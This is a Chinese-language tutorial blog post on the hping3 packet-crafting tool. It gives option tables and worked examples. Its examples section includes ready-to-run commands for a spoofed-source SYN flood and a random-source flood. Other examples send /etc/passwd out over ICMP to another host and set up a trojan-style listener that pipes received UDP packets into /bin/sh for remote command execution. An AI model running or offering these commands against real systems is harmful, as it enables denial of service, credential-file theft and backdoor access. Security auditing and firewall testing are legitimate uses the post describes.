hping3
1.hping
????????hping 是面向命令行的用于生成和解析TCP/IP協議數據包匯編分析的開源工具。可用來偽造IP訪問服務器、dos攻擊服務器等。
????????目前最新版是hping3,它支持TCP,UDP,ICMP,和RAW-IP協議,具有跟蹤路由模式,能夠在覆蓋的信道之間發送文件以及許多其他功能.
????????hping3是安全審計,防火墻測試等工作的標配工具,haping優勢在于能夠定制數據包的各個部分,因此用戶可以靈活對目標機進行細致的探測。
2.hping3用法
? ? ? ? hping3是單個請求,不是并發請求。
格式:??hping3 host [options]
參數縮寫?? ?參數?? ?描述
-h?? ?–help?? ?顯示幫助
-v?? ?–version?? ?顯示版本
-c?? ?–count?? ?發送數據包的數目
-i?? ?–interval?? ?發送數據包間隔的時間 (uX即X微秒, 例如: -i u1000)
–fast?? ?等同 -i u10000 (每秒10個包)
–faster?? ?等同 -i u1000 (每秒100個包)
–flood?? ?盡最快發送數據包,不顯示回復。
-n?? ?–numeric?? ?數字化輸出,象征性輸出主機地址。
-q?? ?–quiet?? ?安靜模式
-I?? ?–interface?? ?網卡接口 (默認路由接口)
-V?? ?–verbose?? ?詳細模式
-D?? ?–debug?? ?調試信息
-z?? ?–bind?? ?綁定ctrl+z到ttl(默認為目的端口)
-Z?? ?–unbind?? ?取消綁定ctrl+z鍵
–beep?? ?對于接收到的每個匹配數據包蜂鳴聲提示
3.模式選擇
編號?? ?模式?? ?描述
default mode?? ?TCP?? ?默認模式是 TCP
-0 或 --rawip?? ?RAWIP模式,原始IP模式?? ?在此模式下HPING會發送帶數據的IP頭。即裸IP方式。使用RAWSOCKET方式。
-1 或 --icmp?? ?ICMP模式?? ?此模式下HPING會發送IGMP應答報,你可以用–ICMPTYPE --ICMPCODE選項發送其他類型/模式的ICMP報文。
-2 或 --udp?? ?UDP 模式?? ?缺省下,HPING會發送UDP報文到主機的0端口,你可以用–baseport --destport --keep選項指定其模式。
-8 或 --scan?? ?SCAN mode?? ?掃描模式 指定掃描對應的端口。Example: hping --scan 1-30,70-90 -S www.target.host ?掃描端口,看哪幾個端口在監聽
-9 或 --listen?? ?listen mode?? ?監聽模式
4. IP 模式
參數縮寫?? ?參數?? ?描述
-a 虛假ip地址? ? –spoof?? ?spoof source address 源地址欺騙。偽造IP攻擊,防火墻就不會記錄你的真實IP了,當然回應的包你也接收不到了。
–rand-dest?? ?random destionation address mode. see the man. // 隨機目的地址模式。詳細使用 man 命令
--rand-source? ??隨機源IP。詳細使用 man 命令
-t?? ?–ttl?? ?ttl (默認 64) //修改 ttl 值
-N?? ?–id?? ?id (默認 隨機) // hping 中的 ID 值,缺省為隨機值
-W?? ?–winid?? ?使用win* id字節順序 //使用winid模式,針對不同的操作系統。UNIX ,WINDIWS的id回應不同的,這選項可以讓你的ID回應和WINDOWS一樣。
-r?? ?–rel?? ?相對id字段(估計主機流量) //更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。
-f?? ?–frag?? ?拆分數據包更多的frag. (may pass weak acl) //分段,可以測試對方或者交換機碎片處理能力,缺省16字節。
-x?? ?–morefrag?? ?設置更多的分段標志 // 大量碎片,淚滴攻擊。
-y?? ?–dontfrag?? ?設置不分段標志 // 發送不可恢復的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY。
-g?? ?–fragoff?? ?set the fragment offset // 設置斷偏移。
-m?? ?–mtu?? ?設置虛擬最大傳輸單元, implies --frag if packet size > mtu // 設置虛擬MTU值,當大于mtu的時候分段。
-o?? ?–tos?? ?type of service (default 0x00), try --tos help // tos字段,缺省0x00,盡力而為?
-G?? ?–rroute?? ?includes RECORD_ROUTE option and display the route buffer // 記錄IP路由,并顯示路由緩沖。
–lsrr?? ?松散源路由并記錄路由 // 松散源路由
–ssrr?? ?嚴格源路由并記錄路由 // 嚴格源路由
-H?? ?–ipproto?? ?設置IP協議字段,僅在RAW IP模式下使用 //在RAW IP模式里選擇IP協議。設置ip協議域,僅在RAW ip模式使用。
5. ICMP 模式
參數縮寫?? ?參數?? ?描述
-C?? ?–icmptype?? ?icmp類型(默認echo請求) // ICMP類型,缺省回顯請求。
-K?? ?–icmpcode?? ?icmp代號(默認0) // ICMP代碼。
–force-icmp?? ?發送所有icmp類型(默認僅發送支持的類型) // 強制ICMP類型。
–icmp-gw?? ?設置ICMP重定向網關地址(默認0.0.0.0) // ICMP重定向
–icmp-ts?? ?等同 --icmp --icmptype 13 (ICMP 時間戳) // icmp時間戳
–icmp-addr?? ?等同 --icmp --icmptype 17 (ICMP 地址子網掩碼) // icmp子網地址
–icmp-help?? ?顯示其他icmp選項幫助 // ICMP幫助
6. UDP/TCP 模式
參數縮寫?? ?參數?? ?描述
-s?? ?–baseport?? ?base source port (default random) // 缺省隨機源端口
-p?? ?–destport? ?指定端口號,如果不指定缺省隨機源端口
-k?? ?–keep?? ?keep still source port // 保持源端口
-w?? ?–win? ?win的滑動窗口。windows發送字節(默認64)
-O?? ?–tcpoff?? ?set fake tcp data offset (instead of tcphdrlen / 4) // 設置偽造tcp數據偏移量(取代tcp地址長度除4)
-Q?? ?–seqnum?? ?shows only tcp sequence number // 僅顯示tcp序列號
-b?? ?–badcksum?? ?(嘗試)發送具有錯誤IP校驗和數據包。許多系統將修復發送數據包的IP校驗和。所以你會得到錯誤UDP/TCP校驗和。
-M?? ?–setseq?? ?設置TCP序列號
-L?? ?–setack?? ?設置TCP的ack ------------------------------------- (不是 TCP 的 ACK 標志位)
-F?? ?–fin?? ?set FIN flag
-S?? ?–syn?? ?set SYN flag
-R?? ?–rst?? ?set RST flag
-P?? ?–push?? ?set PUSH flag
-A?? ?–ack?? ?set ACK flag ------------------------------------- (設置 TCP 的 ACK 標志 位)
-U?? ?–urg?? ?set URG flag // 一大堆IP抱頭的設置。
-X?? ?–xmas?? ?set X unused flag (0x40)
-Y?? ?–ymas?? ?set Y unused flag (0x80)
–tcpexitcode?? ?使用last tcp-> th_flags作為退出碼
–tcp-mss?? ?啟用具有給定值的TCP MSS選項
–tcp-timestamp?? ?啟用TCP時間戳選項來猜測HZ/uptime
7.Common //通用設置
參數縮寫?? ?參數?? ?描述
-d?? ?–data?? ?data size (default is 0) // 發送數據包大小,缺省是0。
-E?? ?–file?? ?文件數據
-e?? ?–sign?? ?添加“簽名”
-j?? ?–dump?? ?轉儲為十六進制數據包
-J?? ?–print?? ?轉儲為可打印字符
-B?? ?–safe?? ?啟用“安全”協議
-u?? ?–end?? ?告訴你什么時候–file達到EOF并防止倒回
-T?? ?–traceroute?? ?traceroute模式(等同使用 --bind 且–ttl 1)
–tr-stop?? ?在traceroute模式下收到第一個不是ICMP時退出
–tr-keep-ttl?? ?保持源TTL固定,僅用于監視一跳
–tr-no-rtt?? ?不要在跟蹤路由模式下計算/顯示RTT信息 ARS包描述(新增功能,不穩定)ARS packet description (new, unstable)
–apd-send?? ?發送APD描述數據包(參見docs / APD.txt)
8. hping3 示例
8.1端口掃描
hping3 -8 80-455,18080-18085 -S www.baidu.com
給百度服務器的指定端口范圍發送syn包,看是否回復來確定端口是否開啟。
8.2?dos攻擊
(1)使用hping3可以很方便構建拒絕服務攻擊。比如對目標機發起大量SYN連接。如下示例:偽造源地址為192.168.10.99,并使用1000微秒的間隔發送各個SYN包。
????????hping3 -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
????????其他攻擊如smurf、teardrop、land attack等也很容易構建出來。
(2)hping3 -c 100000 -d 120 -S -w 64 -I enp1s0 -p 21 --flood --rand-source ip/url?
?dos攻擊后 ip的端口或者url就會一直繁忙,無法提供正常服務。
8.3?文件傳輸
hping3支持通過TCP/UDP/ICMP等包來進行文件傳輸。相當于借助TCP/UDP/ICMP包建立隱秘隧道通訊。實現方式是開啟監聽端口,對檢測到的簽名(簽名為用戶指定的字符串)的內容進行相應的解析。在接收端開啟服務:
hping3 192.168.1.159–listen signature --safe --icmp
監聽ICMP包中的簽名,根據簽名解析出文件內容。
在發送端使用簽名打包的ICMP包發送文件:
hping3 192.168.1.108–icmp -d 100 --sign signature --file /etc/passwd
將/etc/passwd密碼文件通過ICMP包傳給192.168.1.108主機。發送包大小為100字節(-d 100),發送簽名為signature(-sign signature)。
8.4?木馬功能
如果hping3能夠在遠程主機上啟動,那么可以作為木馬程序啟動監聽端口,并在建立連接后打開shell通信。與netcat的后門功能類似。
示例:本地打開53號UDP端口(DNS解析服務)監聽來自192.168.10.66主機的包含簽名為signature的數據包,并將收到的數據調用/bin/sh執行。
在木馬啟動端:
hping3 192.168.10.66–listen signature --safe --udp -p 53 | /bin/sh
在遠程控制端:
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
將包含ls命令的文件加上簽名signature發送到192.168.10.44主機的53號UDP端口,包數據長度為100字節。
8.5?偽造隨機源IP地址訪問指定IP?
hping3 --rand-source ip
然后tcpdump 監聽指定端口
總結
- 上一篇: c语言简单程序过程,怎样编写一个简单的C
- 下一篇: 原码,补码,反码概念和计算方法详解